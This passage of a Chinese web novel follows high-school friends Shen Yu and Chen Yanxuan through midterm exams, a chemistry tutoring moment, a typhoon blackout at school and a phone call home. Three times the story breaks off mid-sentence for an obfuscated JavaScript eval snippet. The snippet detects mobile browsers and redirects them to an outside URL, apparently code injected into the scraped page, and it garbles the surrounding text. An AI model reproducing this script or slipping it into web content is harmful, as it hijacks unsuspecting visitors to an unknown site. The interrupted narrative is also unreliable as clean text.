他们倒是恬不知耻，丝毫没有年龄差异悬殊的自觉，仗着年纪大不但没有让着人家，反而还以虐菜为乐，把人家小孩单杀四五局，最后被气哭后还要杀人诛心地补充，“怎么了嘛，要有游戏精神的呀，刚刚不是你们要求和我们比的吗？” 小孩：“……” 几个人人高马大的，往那一站，一群连他们胸口都不到的小孩皆敢怒不敢言。 两方对峙，一方俯视，一方仰视，还挺有喜感。 小孩们聚在一块抱着胳膊气鼓鼓的，好像这样就能以数量取胜，扳回身高不足的一局。 几个“壮汉”却也偏偏毫不认输，学着他们的样子大眼瞪小眼。 最后等人家家长逛完街回来接小孩，他们这才拍拍屁股溜之大吉，没再造次。 反正他们那天有没有玩开心不知道，但肯定是在万荟城游戏区的小孩圈里被通缉了。 事后人家小孩是这样跟父母告状的：“来了几个很欠的哥哥姐姐。” 老话说得好，善有善报，恶有恶报，不是不报，时候未到。 那几个很欠的哥哥姐姐们这几个星期被折磨得不成样子，月底测验和期中考试接踵而至，各种卷子、习题扑面而来，没为考试停步的进度和复习压力的双重夹击，压得每个人喘不过气来。 就连孟云凡都一改往日吊儿郎当的样子，吃饭和散步各回各家的时候还插空问点问题。 身负一个学期后就要面临可能会被刷出去的风险的沈寓更是不敢掉以轻心，连着两个星期都是头悬梁，锥刺股，回家书包一丢就是在书桌上练题，连和章知之每晚必备的视频通话的频率以及聊天的时长都短了不少。 平日里总是让沈寓多向学校里优秀的同学看齐的孟梧，看着近日变得更为刻苦的女儿，都改口想劝劝她注意休息，却也不知该如何开口。 孩子努力，上进，自尊心强，这又不是什么坏事，思来想去最后只能换作一句，“还是要好好休息，身体为重。” * 只不过折磨的时光也没有持续过长，三个星期在题海中眨眼过去。 当连续三天的期中考试最后一门数学考完时，整个高一大楼怨声载道，叫苦连天。 “我靠了，这理科的卷子到底哪个学校老师出的题，恶心死了。” “家人们我数学空了两道大题，还有救吗？我觉得没救了，我准备跳了。” “行了行了，你以为文科好哪里去了吗，你妈的我那英语续写没写完。” “我那个政治的知识点没背到啊啊啊，我那一整个大题都是材料和胡言乱语，跟我奶说梦话一样，梦到哪句写哪句。” “……” 人潮和交谈声交织，沸反盈天。 最后还是老卢出来河东狮吼镇压，这才把各个班乱窜，乱作一团的学生赶回各自教室里。 没多久，班主任也被叫过来坐镇，压着这帮刚考完试年轻气盛的学生。 唐诗然坐在讲台上，边给他们调出这次联考的答案边道：“都别吵了啊大家，整个楼吵得跟菜市场一样，我从办公室到我们教室，一路哭天抢地的。至于吗你们，就一次期中考试，放宽心点。” 林语浩在底下喊：“我们要是考得不好，丢的可是老师你的脸。” “丢就丢了，你们老师我，脸皮厚，不在意。”唐诗然朝他粲然一笑，“我吧，对你们要求不高。” 听到这话刚考完试蔫了菜的全班顿时满怀期待地望向她。 然后紧接着又听见她补充：“只要别输给一班就行。” 全班：“……” 他们面向全年级，最强劲的对手就是一班，还要求不高，只要不输给他们，这话说跟不说有区别吗？ “那估计完了，陈晏宣在一班呢，比不过。” “就是啊，人中考状元进来的。” 底下有同学自暴自弃道。 沈寓本来在低头收拾这几天考完的卷子，听到这名字下意识抬了抬头。 陈晏宣在他们班知名度一向很高，老师讲课提，同学聊天也提。 保守了，其实，放在全年级知名度也很高。 “那怎么了，于婉还是第二名进来的呢，还有李嘉成，这几个当初不都是一中的好苗子？” “没错，咱们上次摸底测验，化学年级第一不也是在咱班？哪有长他人志气灭自己威风的。” 有人反驳道。 寥寥几句话，像一根导火索，把刚刚压下去的吵闹声又瞬间重新燃起来。 陆婷婷在旁边听到这些话乐了，戳了戳沈寓，看热闹不嫌事大地小声问道：“你发小和我们班那几位，你觉得谁第一？” “……”沈寓无言片刻。 怎么这也能扯上她？ 进退两难，她在嘴巴上作了拉链封条的动作，无奈道：“行了都别争了，我第一好不好。” 陆婷婷被逗笑，“别说，还真说不准，上次那个化学摸底测验，你不是咱全班第二？年级第四呢。” “竟然仅次于语浩大师，可以啊小寓寓。”陆婷婷说着还往旁边撞了撞沈寓，“说，你是不是藏拙等着偷偷开大呢？” “……”沈寓冷笑道：“藏拙是吧？做题速度跟都跟不上你们叫藏拙？” 她还不忘吐槽：“你们那手跟装了马达一样，我才写了半面多，你们都翻到第二面了。” 特别是写物理的时候，旁边人刷刷刷的翻页声变得更为刺耳，她考试考得出了一脑门子汗，万幸最后掐点写完了。 “唉…”陆婷婷仰天长叹，“我这次也没考好到哪里去，我那数学最后几道多选，我觉得要遭。” 沈寓也跟着叹了口气。 对于这次考试，说实话，她也没什么底。 这次考试的总结，自始至终有一句话十分正确：到底哪个遭天谴的老师出的题。 最后还是唐诗然终止了这场闹剧：“行了行了！都别吵了，考怎么样都不是高考。这场考试过后引以为戒，顺便把你们那玩心收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138938|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收，学期都过了一半了有些人心还大着呢。” “考得好的人继续努力，考得不好的人也不要灰心。对了，各科答案我放电脑上了，待会儿科代表上来打开给同学对一下。” “差点忘了和你们说，咱们这次联考，位次是会公布的啊，这就体现了你们在市里的水平。正好和你们初中的老同学们互相认认，看看高中谁更胜一筹。” 底下闻言又传来一阵叫苦声。 趁着大家掏出卷子准备对答案时，唐诗然走下讲台，经过沈寓身边时轻轻拍了一下她的肩膀，示意她跟着她出来。 “……”沈寓愣住，随即跟着走出去。 经过一个多月的相处，师生之间的关系相比刚开学，已然拉近了不少。 唐诗然在门口等着她出来，待她出来顺势揽住她的肩膀，边往办公室走去边道。 “怎么样呀，这次考试感觉如何？” 今天一整天天气都不太好，时而狂风卷起，在教室里考试的时候都能听见风吹过窗户时的呼呼作响。天空阴白惨淡，与学生们考完试的心情不谋而合。 听说好像过几天有台风过境。 走廊边上风大，唐诗然把她往里揽，贴着墙根走。 沈寓缓缓道：“感觉…还可以，但是没什么把握。” “我看你上次模拟测验成绩还不错的，年级七十六。各科老师反映也说你基础不错，特别是化学老师。我改着你几次的卷子，也是有这样的感受，稳扎稳打的。” 唐诗然捏了捏她的胳膊，让她放宽心，“这么努力的小姑娘，这次考试肯定没问题的。” 沈寓闻言笑起来，“嗯，谢谢老师。” 作为“插班生”，她没少受到唐诗然一月一度的知心大姐姐关照。 大概聊了十分钟，唐诗然才把沈寓从办公室放回来。 等沈寓回到教室的时候，答案已经对了好几门了，她只能借过陆婷婷的卷子来看。 “……” 对完大约估计了一下分数，她才终于松了口气。 还行，没太差。 那道物理大题，她做对了。 下午刚结束考试的诉苦声，抱怨声在对完答案后进一步演化为两种。 一种仍然是对题目和考试的哭嚎。 还有一种，是蒙对题或者做对题的惊喜。 沈寓属于后者，那道物理大题，好巧不巧，上次陈晏宣给他讲过，直接把她几道选择题的分拉回来了。 其他科也没怎么拖后腿，都在她的预料之内，综合下来，竟然还勉强看得过去。 趁着没人注意，她偷摸从后面的个人柜中拿出手机，缩在抽屉里给人发消息。 对象是那团黑色头像。 -“orz，来，让我们一起感谢这位姓陈名晏宣的新时代好少年。” -“爱卿此番劳苦功高，朕必须重重有赏。” 沈寓没想到消息刚发出去几秒，消息上方的提示栏就已经显示了“正在输入中”。 过了一会儿，一个问号发了过来。 “？” “又犯病？” 17. 狂风. -寓言：“好啊，偷玩手机，被朕抓到了吧。” 也不知道是谁先发的消息，反正她倒是一副大义凛然的样子。 对方没有理会她的日常发疯，但好像理解了她的言外之意，发过来一条： -小晏子：“那道题做对了？” -“耶斯。” -“能取得这样的结果，离不开朕的努力付出，更离不开爱卿的倾囊相授。” -“当然，最主要的还是朕冰雪聪明。” 沈寓不忘夸夸自己。 典型的给点阳光就灿烂，给点洪水就泛滥。 陈晏宣手指在屏幕上滑动打着字。 -“。” -“还行，至少目前看起来不蠢。” 寓言：“…陈晏宣，你再这样讲话信不信我马上飞到一班揍你？” -“真是狗嘴吐不出象牙。” 小晏子：“说谁狗？” 寓言：“你，我的犬系好友，说你呢。” 小晏子：“听到你汪汪叫了。” 寓言：“……” 沈寓总觉得自己这辈子是败给陈晏宣了，每次都怼不过他。 小时候也是，现在也是。 她只能使用表情包魔法攻击，给对方刷屏了一连串暴走小狗。 -“我要是狗，作为我的朋友，你也是狗。” -“看，像你不？” …… 沈寓独自在那里跳脚，屏幕对面的陈晏宣看着，不知道什么时候抿起唇，喉咙里溢出几声轻笑，像是被逗乐了。 旁边的男生注意到他这边的动静，看到陈晏宣盯着手机还未消退的笑意，觉得破天荒，肩膀碰了碰他的，道：“笑啥呢宣宣？说给我听听，让我也笑一笑呗。” “……”陈晏宣把手机息了屏，淡道：“没事。” “切，真没意思。”他这反应完全一副此地无银三百两的样子，但男生知道从他嘴巴里肯定撬不出什么，便没有自找没趣，改口道，“对了，刚刚英语老师叫我提醒你待会儿拿卷子去办公室找他看一下。” “好。”陈晏宣应下。 他手搭在对方肩膀上，“谢了。” 和他搭话的男生名叫邬凯，之前也是一中的，和陈晏宣一个小学直升上去的，关系还可以。 如果沈寓认真看清他本人的样子，或许会有点印象。 不止是因为刚开学的时候，他在办公室门口把人家撞了。 还因为两人之前有也点渊源。 当初二年级的时候沈寓玩沙包被爆脑，哭了半个小时的罪魁祸首也是他。 * 沈寓这边发完消息解了气，等晚修第一节课下课才把手机重新放回柜子中。 从后面向前走来，她忽然发现班里不同往日的异常热闹。 平常很少见过这样的场面，就算是课间，大家都是埋头学习，没多少人讲话。 不知道是随着时间推移大家关系更进一步，还是刚考完试大家提着许久的心终于放下，终于能卸下身上的重担，好好放松放松，反正现在班里到处是叽叽喳喳的闲谈声。 门口看班的科任老师也睁一只眼闭一只眼，没怎么阻挠，就像是默认给这帮学生一点劫后余生的休息空间。 沈寓看到她们前面的位置旁围了些人，正盯着边上窗台放的绿植。 那是唐诗然为了应付年级检查，从家里抱过来充军的绿萝。 这植物已经很好养了，可这帮学生还是伺候不过来，没多久那原本绿油油的叶片中就多了不少黄叶子，远远看去蔫了吧唧的。 “十一、十二……” “停停停，别数了，我听得心痛。” “……” 沈寓边坐回位子边疑惑问向旁边看得津津有味的陆婷婷：“怎么了？怎么一群人盯着这绿萝看？” “还不是语浩大师这神经病。”陆婷婷笑得上气不接下气。 陆婷婷：“他不知道是不是这次数学没考好，在那边唉声叹气。然后他同桌神来一嘴，说全班在场的人数学有几个没考好，那绿萝就黄几片叶子。这不，一群人搁那数呢。” “……”沈寓反应半天才理解是啥意思，一时无语到笑了，“我真服了。” 都是群人才。 “沈寓。” 她本想继续看看热闹，抬头忽然发现有人叫她。 林语浩从刚刚那个方向走来，停在沈寓桌子前。 “？” 头顶一片阴影压下来，沈寓愣在原地，不知所以地看向他，“怎…怎么了吗？” 她和林语浩不怎么熟，在班里没聊过几句话。这会儿他忽然喊她，弄得她丈二和尚摸不着脑袋。 林语浩戴着副眼镜，清秀干净，特别符合小时候看电视里“小四眼”的人设。 当他眼神逼近自己时，沈寓没来由地想到这个。 她听见他用只有他们两个才能听见的声音问，“你……” “化学最后一道多选题，溶液那个，你选对了吗？” “……”闻言沈寓一噎。 她没想到他气势汹汹地走过来就是为了问这个。 还有，不是在聊数学吗？怎么话题突然变成化学了？ 化学虽然是前一天考的了，可她还有点大概印象，特别是最后一道多选题，她记得她在B和D之间犹豫了至少四五分钟，纠结到底是选一个还是多选。 在考前最后十分钟检查的时候，她还是把B和D全选上了。 沈寓试探性地点点头：“对…了。” 也不知道算不算狗屎运，她赌对了，那道题确实是多选。 沈寓很明显地感受到对方的脸色的改变，从不可置信，到追悔莫及，再到求知若渴，短短一瞬的变化完美得可以记入电影学院教学模板。 “我只选了一个D……四分，全没了。” “我总觉得那个B选项好像还有些漏洞，根据已知的条件我总觉得确定不了那个离子的存在，你会吗？可以教教我吗？” “……”他转变得过快，沈寓想安慰的话还没来得及说出口，又只能跟着应下，“可、可以。” 沈寓想了半天为什么林语浩偏偏来问她。 最后归因为上次模拟考试中两人化学大差不差的排名和分数。 教室后面有几张空余没人的桌椅，平常堆放杂物，偶尔也供上课打瞌睡到后面自行罚站的同学坐坐。 他们这边人多，都在吵吵，不方便讲题。外面走廊又在刮风，也不适合出门。 对了个眼，两人默契地都自动移动到后面去了。 沈寓随手拉开一张椅子坐下，笔在题上画出所给条件，标出图上几个点，麻利地讲起：“我是从这个图折线断点处猜的，你看……” “如果这个说法不确定性还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138939|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太大的话，你也可以从D选项来验证一下，按我们的猜测，D在B的基础上也可以成立。” “当然最主要的是，这张卷子的不定向选择题里，我只做出了一道多选，感觉有点少，所以……最后就选上了。” “……” 因着讲题，两人的脑袋不知道什么时候靠得很近，从外面远远看去还以为两人在亲密地攀耳交谈。 沈寓一整套做题进程下来行云流水，思路清晰缜密，连一向在化学这科自恃清高的林语浩都有些为之惊叹。 “……你这角度，好清奇。” 沈寓摸了摸鼻子，“都是些旁门左道罢了。” 黑猫白猫，抓到老鼠就是好猫。 啥方法，只要能解出题就是好方法。 “佩服，我懂了。” 林语浩终于服气地点了点头道。 “怪不得之前华姐让我向你学学，百闻不如一见，我现在理解了。” “……”沈寓懵了一下，她倒是不知道这中间竟然还有化学老师的事。 “谢谢你！沈寓。”林语浩望向沈寓的眼神突然间充满了欣赏。 莫名其妙的，沈寓从他眼中竟然看到了一种对她惺惺相惜的错觉。 她愕然回复道：“啊，没事，没事。” 道完谢，林语浩正想拿着卷子走开，忽然想起一件事，又停下来道。 “对了，你的做题顺序，让我觉得好眼熟啊。” 林语浩好像想起一件让自己费解的事情，“都不看题，都是先直截了当地圈画符号，数字……” “……” 沈寓后知后觉，好像知道了他说的这个人是谁。 给她开小灶，还骂她是狗的那人。 林语浩这一说，她才发觉陈晏宣当初给她讲题的那套，竟然潜移默化被她学了下来。 “啊是吗……” 沈寓正不知道说些什么，却听林语浩话音蓦然又启，“你真的是从别的省来的？” 她有些错愕地点了点头：“嗯，我临昱来的。” 这个她会答。 教室后方的门有点问题，合不上，只能拿椅子顶上，但还是会露出一小块儿，从外面漏出股股凉风。 林语浩刚好站在靠门的一侧，挡住了风口，这会儿突然站起，风口打开，风顿时涌入进来，刺激得沈寓一哆嗦，跟着他旁边凑。 反应过来两人距离有些近后，她才连忙拉开。 林语浩没注意到这个，只是自顾自嘟囔，“现在别的省的实力都这么强劲了吗……” 他边嘟囔着边走开，沈寓见问题解决，正想赶紧离开这风口，逃回自己位置，忽然听到后方同学对着窗口叫了一句—— “陈…，同学，你是要找人吗？” 窗户边上的同学刚刚一转头看清来人，下意识脱口而出他的名字，又想到与他没什么交集，贸然喊出他的名字或许有点奇怪，便改口道。 沈寓顺着音源望去，才发现窗户外站着一个眼熟的人。 少年眉眼优越，逆着走廊上的光被衬得更为深邃立体，棱角分明。外面的风吹动着他额前的黑发和校服，一双寡淡的眸子聚焦于远处的对象。 不知道站了多久才被人察觉。 沈寓猝不及防与他对上视线，两道目光于空中交汇。 狂风卷落叶，刹那间，好像卷过了沈寓的四肢百骸。 18. 停电. “……” 沈寓不知道自己怔愣了多久才缓过劲来。 越夜越美。 她脑子里第一时间想到的是这个形容词。 这人，到底怎么生的，怎么好看成这样…… 窗边同学见陈晏宣没反应，又再问了第二次，“同学？” “…”陈晏宣垂眸，正想回复时，却见班里杵着没动许久的沈寓正在匆忙跑出来。 他随后道：“不用了，谢谢。” “小晏子！”少女逆着风跑出来，声音有些急促，“你找我吗？” 陈晏宣瞥了她一眼，半天才悠悠答道：“路过。” “？你有病啊。”沈寓脱口而出。 路过能盯着她这么久？ 她看他那眼神明明想揍她。 估计是刚刚被他看见了她刷屏了这么多要揍扁他的表情包。 毕竟平常章知之犯这死出，她点开看到九十九条消息的时候她也想打人。 “……”骂完人，她又没什么底气地补充道。 “我跟你说，好男不跟女斗，不许来找我算账啊。” “再说，明明是你先骂我狗的。” 闻言陈晏宣好笑地嗤了一声，“我看皇上您还真是贵人多忘事，谁先说的狗嘴吐不出象牙？” 沈寓心虚地瘪瘪嘴，“我那是类比，类比懂吗？又没有直接说你是狗，是你自己对号入座的……” 陈晏宣约莫高出她一个头，站在灯底下撒下一片阴影。颀长的影子延到沈寓脚底，与她的影子交融在一起，分不清是谁的。 他身体倾近，几乎与她平视，但中间还保持着一段合适的距离，“……是、吗？” 一副等着她自己说真话的样子。 见他正要从身侧的口袋里拿出手机，似乎是要给她好好看看刚才两人的聊天记录，沈寓连忙眼疾手快地摁住，“哎呀，我发现你这人，特较真。” 她默默顺着话把手机往他外套口袋里一推。 防止呈堂供证一般：“都哥们，对吧，这点小事还计较，不义气了哈。” 陈晏宣倒也没阻止，只是由着她来。 “……”他这样反而整得沈寓挺亏心，默默腹诽着自己。 耍赖鬼转世吧她。 罢了又很快转念一想，对自己全肯定。 不管，人不能说自己不对。 班级窗口的同学围观了点人，正想看这两人什么情况。 前不久就有人说好像看到陈晏宣和他们班的沈寓，还有其他班的一个男生走得挺近的，午休一起吃饭，下课还约着出校门回家，听说好像是发小？ 毕竟耳听为虚，今日好不容易眼见为实，想着凑凑热闹。 察觉到里面的视线，被这么多双眼睛行注目礼，她被盯得不由有些发毛。 便拉着陈晏宣走到其他地方，朝里摆了摆手露出八颗牙齿的标准微笑，“兄弟之间闹矛盾，解决问题呢，散了散了。” 她倒是不害怕两人之间传出什么风言风语。 一是两人之间确实清清白白，小时候堪比结义的铁子关系，二是有陆婷婷这喇叭给她澄清呢。 真兄弟，铁三角，不信来战。 本来看陈晏宣还以为两人之间有点什么，结果沈寓这反应过于坦荡，不像是被有其他关系被戳穿的扭扭捏捏，更加验证了传言。 众人没看到自己想看的，觉得没意思，便也散得七七八八。 这边的的沈寓拉着陈晏宣走到楼道，等确定没人看到的时候才拍了拍胸口。 “呼……吓我一跳，一转头这么多双眼睛看着。你这影响力有点大，我以后还是得避着点。” 虽然小时候就已经知道陈晏宣属于那种走哪被人看到哪的类型，但长大后重新复习到这大场面的沈寓还是心有余悸。 “……” “要不，咱今天下课去喝杯……” 见陈晏宣没说话，沈寓正想岔开话题缓解一下刚刚的尴尬，忽然听到隔壁转角处从办公室里走来一个人，正对着这边喊。 “喂陈晏宣，英语老头叫你拿卷子你怎么还没拿好？我刚不提醒你了吗？害我进办公室又被老头训了一顿。” 是邬凯。 沈寓愣了愣，朝陈晏宣身后看去，忽然觉得这人有点眼熟。 她抬手正想提醒一下面前一动不动的陈晏宣有人喊她，忽然眼前一黑。 … … 不对，不是眼前一黑，是好像整个世界都陷入了一片漆黑。 伸手不见五指，有实物的黑。 “……” “我靠？！”沈寓被这突如其来的一遭吓了一跳，半空中还没来得及抬起的手下意识抓向可触碰到的东西。 黑暗如同汪洋大海般将人兜头淹没，唯有身边站着的人才是可知的目标。 风声，雨声在一切不可视的时刻，被感知放大到最大。风雨飘摇中，整座大楼陷入片刻的寂静、沉默，随即后知后觉地爆发出巨大的喧嚣声。 “我艹！什么情况！” 最先听到的是不远处刚刚出现的那个男生的声音。 紧接着不知道是哪个班的大声叫喊了一句，“妈的，停电了——” 一石激起千层浪，接着各个班级都暴乱起来。 “我靠，啊啊啊啊啊……” “停电了，我去，什么情况，可以回家了？” “我超！我超！回家？回家？！” “……” 整座楼此起彼伏的吵闹声几乎要将耳膜爆破，昏天黑地中，沈寓只感觉到那只被她抓住的手动了动，微不可察地作支撑般撑起她的手肘，将她扶稳。 身前的人默不作声，手却没有离开，直到确定对方回过神来，才开口。 “停电了。” 只有云淡风轻的一句，告诉她发生了什么，与周围慌乱、嘈杂的一切格格不入，割裂成两个世界。 熟悉的嗓音响起，如定心丸一般将沈寓混乱的思绪稳住，她咽了咽口水应道，“…嗯。” 她能感觉到她的声音仍有些颤抖。 旁边的邬凯喊了一句，“我靠，你俩还好吗？” 那两人靠近楼道，他刚才听见女生似乎被吓得挺惨的，黑不拉几的别一不小心滚下去了。 “没事。”虽然和这人不太认识，但出于对方好心的发问，沈寓还是回了一句。 这阵吵闹声持续了四五分钟，才终于迎来了答案。 老卢不知道从什么地方冒出来，就着手机手电筒微亮的光，着急忙慌的，拿个喇叭大声播报着，喇叭声还夹杂着滋滋啦啦的电流，“紧急通知，紧急通知——接省气象台通报，台风受副热带气压影响，速度加快，马上要入境了，明天在我们隔壁市登陆。学校的电箱受大雨影响短路了，现在全校停电。” 一班二班距离办公室最近，最先听到消息的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138940|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他们。整栋楼只知道在兴奋过后在恢复短暂的安静时，四楼又重新暴动起来。 “听我说，听我说，现在，请各个班的同学回到教室，收拾好自己的东西后，在班主任的有序安排下，离开学校，尽量快些离开，免得雨下大了回不去。回到家后要马上让家长报一下平安，老师们作好学生统筹工作。” “咱们这次由于台风，可能要放假两天，等台风走后才能恢复正常上课，大家一定要在家里……” 后面的话什么也听不到了，大家的关注点全都集中在了“放假”两个字。 消息在全楼通报过后，更是响起震耳欲聋的喧哗声，一重又一重，一浪接一浪，愈来愈大，愈来愈急，甚有覆盖外面雷雨之势。 学生们兴奋，惊诧的尖叫声不绝于耳，到处是桌椅推动刺耳的噪音，更有甚者跑到了走廊外面，探头往外肆意迎接着风雨，摇着双臂大声叫唤，老师们怎么压都压不住。 与极端天气对抗的，是少年们蓬勃，旺盛，无所畏惧的生命力。 每个人的心中似乎都悄然生长着一种不为人知的，隐秘的，名为刺激的感觉。 像是一种，对暴风雨即将到来的……隐约的期待。 台风，停电，回家，假期，似乎每一个字眼，都能成为按部就班，井然有序的学生生活中鲜活的变量，打破应有的宁静，释放被桎梏、压抑许久的灵魂，去享受须臾无序、混乱的狂欢。 似乎在变动着，人才真切感受到活着。 * 沈寓不知道自己是怎么稀里糊涂回到家的。 躺在沙发上的时候，她的意识还被停电时的鼎沸人声裹挟着。 这股热闹一直持续到手机上，班群里除了给老师报平安的消息，还有各种乱七八糟的消息。 比如问老师到底放几天假的，能不能再多放几天，再比如谴责老师台风假还要布置作业的，还有问同学们要不要台风后去体验现实版激流勇进的。 面对台风，好像最开心的只有学生。 沈寓看着群里一直不断被刷新的信息，不自觉跟着笑起来。 “寓寓，来，喝点热汤。”孟梧女士正从厨房里端来一碗刚熬的姜汤，嘴里说道，“待会儿喝完就赶紧去洗澡，把身上湿的衣服换下来，别着凉了。” 她语气中略有自责，“最近公司太忙了，我都没注意群里你们老师发的消息，要是知道今晚突然放假的话，我就让彭叔去接你回来了，也不用让你冒着雨回来……” 沈寓接过汤，拍了拍她娘的肩膀安慰道：“哎呀妈，我就淋了一点，之后进地铁的时候就没有淋到了。你女儿我身子骨硬朗着呢，不至于淋点雨就着凉。” “而且我们班还有同学直接啥都不挡，直接享受大自然的馈赠呢。” 她还不忘开开玩笑。 孟梧闻言被逗笑，数落着她正经点。 安顿完女儿，孟女士又匆忙回房间处理事务了。 从上个月开始，公司就一直忙得歇不下脚，好像是哪批产品的货源出现了问题，一直没弄好。 夫妻俩的忙碌沈寓一直有目共睹，便没有再骚扰她妈，默默回房间自己收拾自己。 洗澡前，沈寓十分讲义气地给两位兄弟发去了慰问消息。 “怎么样，到家了吗，各位兄弟们。” “平安到家了吱一声。” 发完消息，沈寓把手机往床上一丢，便进厕所洗澡了。 19. 台风. 等过了半小时，沈寓才慢吞吞地从浴室里出来。 她趿拉着拖鞋走到床边，边拿着干发帽擦头发，边一手捞起床上的手机，刷新消息。 三人小群里出现了好多红点。 -粒粒皆辛苦：吱—— -小晏子：。 两则可以看到发出信息的主人性格截然不同的消息在不同时间段出现。 孟云凡似乎不满陈晏宣总是发标点符号，紧接着发消息控诉，“群里就我们三个，小燕子你发老发那逗号句号的耍什么帅呢。” -粒粒皆辛苦：你魅惑不了我的，我俩撞型了。 也不知道对方是不是被他雷到了，隔了将近十几分钟才回复。 -…… 这一次倒终于不是逗号句号了，比那几个多点，变成省略号了。 -小晏子：有病去吃药。 孟云凡也不认输，“天天就叫我们去吃药，小燕子你是医生吗就开医嘱。” 一口一个小燕子的。 小时候的沈寓叫陈晏宣小晏子就是因为谐音小燕子，那时候的她刚认识陈晏宣，总觉得他冷冰冰的，不近人情，像是千年不化的大冰山转世。 但小燕子多可爱啊，“几处早莺争暖树，谁家新燕啄春泥”，一想到燕子就能想到春天，暖融融的，大地回春，万物复苏。 多叫他小燕子，没准哪天冰山就没那么冷了。 孟云凡估计也知道这个称呼的深意，也不叫小晏子了，直接叫小燕子。 明明知道陈晏宣雷这个称呼从他嘴里说出来，他还是故意叫，非得恶心恶心他才收手。 “…”沈寓停下擦发的动作，在屏幕面前笑得岔气。 比陈晏宣还会怼的人出现了，这叫什么，这就叫一物降一物。 陈晏宣估计是懒得理他了，随手发了一个句号过去，便没再回复。 沈寓引用孟云凡的话，发了个大拇指过去，“还是你会。” 也不知道是不是无聊，她顺着陈晏宣的微信头像点进去，刷新了一下二人的聊天记录，才发现句号确实占大多数，平均每三句话就要出现一次。 孟云凡说的真是句句在理，没有一句是冤枉他的。 哦，但那个说他俩撞型的不算。 毕竟人家长的确实有点过于出众了，没法喷。 她在床上寻了个舒服的位置，瘫倒上去，把头发悬挂在半空晾干，抱着手机又往上翻了翻。 这么喜欢发句号，干脆给你改个名叫句号哥算了。 心里想着，沈寓当即身体力行地给陈晏宣换了个新备注。 别说，配着聊天记录看确实是搭。 句号哥：。 句号哥：。 …… 沈寓满意地看着自己的杰作，没忍住笑出声。 * 台风乍至，打得城市里的所有人一个措手不及。外面是狂风暴雨，家家户户几乎闭门不出，在喧哗雨声中寻求片刻的宁静与喘息。 平常热闹的街道、市区现在也是冷冷清清，只有滂沱雨幕中偶尔经过的少许车辆与行人。 大雨如注，不断拍打着窗户，屋内是正在播报的新闻声—— “中央气象台于早晨十时发布台风橙色预警，台风昙花正以每小时10-15公里向西偏北方向移动，预计下午四点左右于我省陆盈市附近登陆，请各位市民作好防范……” 沈寓做完卷子，躺在沙发上莫名有些犯困。 不得不说，难怪有些人助眠喜欢听白噪音，这雨声确实催眠。 等看着时间差不多，她将手机打开，在微信置顶找到人，一个视频通话播了过去。 也不知道对方又换了哪个韩团的铃声，大概响了十几秒，电话终于被人接起，对面传来一阵气血很足的女声。 “啊啊啊，我的鱼鱼大宝贝，你终于舍得给我打电话了。” 声音过于刺耳，不知道是不是对面的人迎着手机的麦克风孔大声叫喊着说的。 沈寓略为嫌弃地将手机拿开，嘴中道，“少来，我哪天不给你打电话？” 对面正是章知之。 少女应该是刚下课，身上还穿着校服，脸上被热得有些红扑扑的，背后是熙熙攘攘的人群，她的话淹没在四周翻滚的声浪中，有些听不清，“明明我打给你更多好不好，还有，我哪次打电话给你你不是在写作业？都没聊几句就挂了。” 沈寓费了好大的劲才听了个七八，自知理亏，她摆摆手，“好好好，我的错我的错，我现在不是给你打了吗？准时准点，掐着你出校门的时间呢。” “勉强原谅你。”章知之一副勉为其难的样子，“不过，你们过得也太爽了吧，刚考完试就刮台风放假，受不了了，我也想去那边上学。” G省一直是台风多发地，每年九月过后的秋季，都会刮这么一到两个台风，甚至有的时候一个月两次台风都不稀奇，台风假对于这边的学生来说已经是家常便饭了。 沈寓幽幽道：“三天时间，二十张卷子，做不做。” 章知之马上闭口不谈，“不去了。” 她们俩人每次打电话都会和对方分享近期的生活，拉家常般没话找话，但也不觉得无聊。 视频通话接近一个半小时，两人都没有察觉。 章知之已经回到家中，正躺在沙发上抱着个苹果啃，听到沈寓说起昨天停电的经过，不由从沙发上蹦起来，“停电，黑夜，牵手，扶你站稳……” 沈寓其实讲了很多，跟摄像头一样把昨天都说了个大概，竹筒倒豆子，偏偏章知之只关注到了陈晏宣和她在楼道里的那颗。 听着她的语气越来越不对劲，沈寓连忙打住：“停停停，什么牵手，你这破脑子又在脑补什么？” 她明明说的原话是她在停电的时候被吓了一跳，差点摔，幸亏她国民好兄弟把她给扶起来了。 怎么从章知之的口中说出来，添油加醋地多了这么多暧昧的形容词。 还环境描写衬托氛围感上了。 章知之置之不理，咬苹果的声音嘎嘣嘎嘣的，“什么！你俩在那里演偶像剧还不让人说了啊？” “……” 沈寓冷笑，“我看你是拼多多被砍得脑子坏了。” 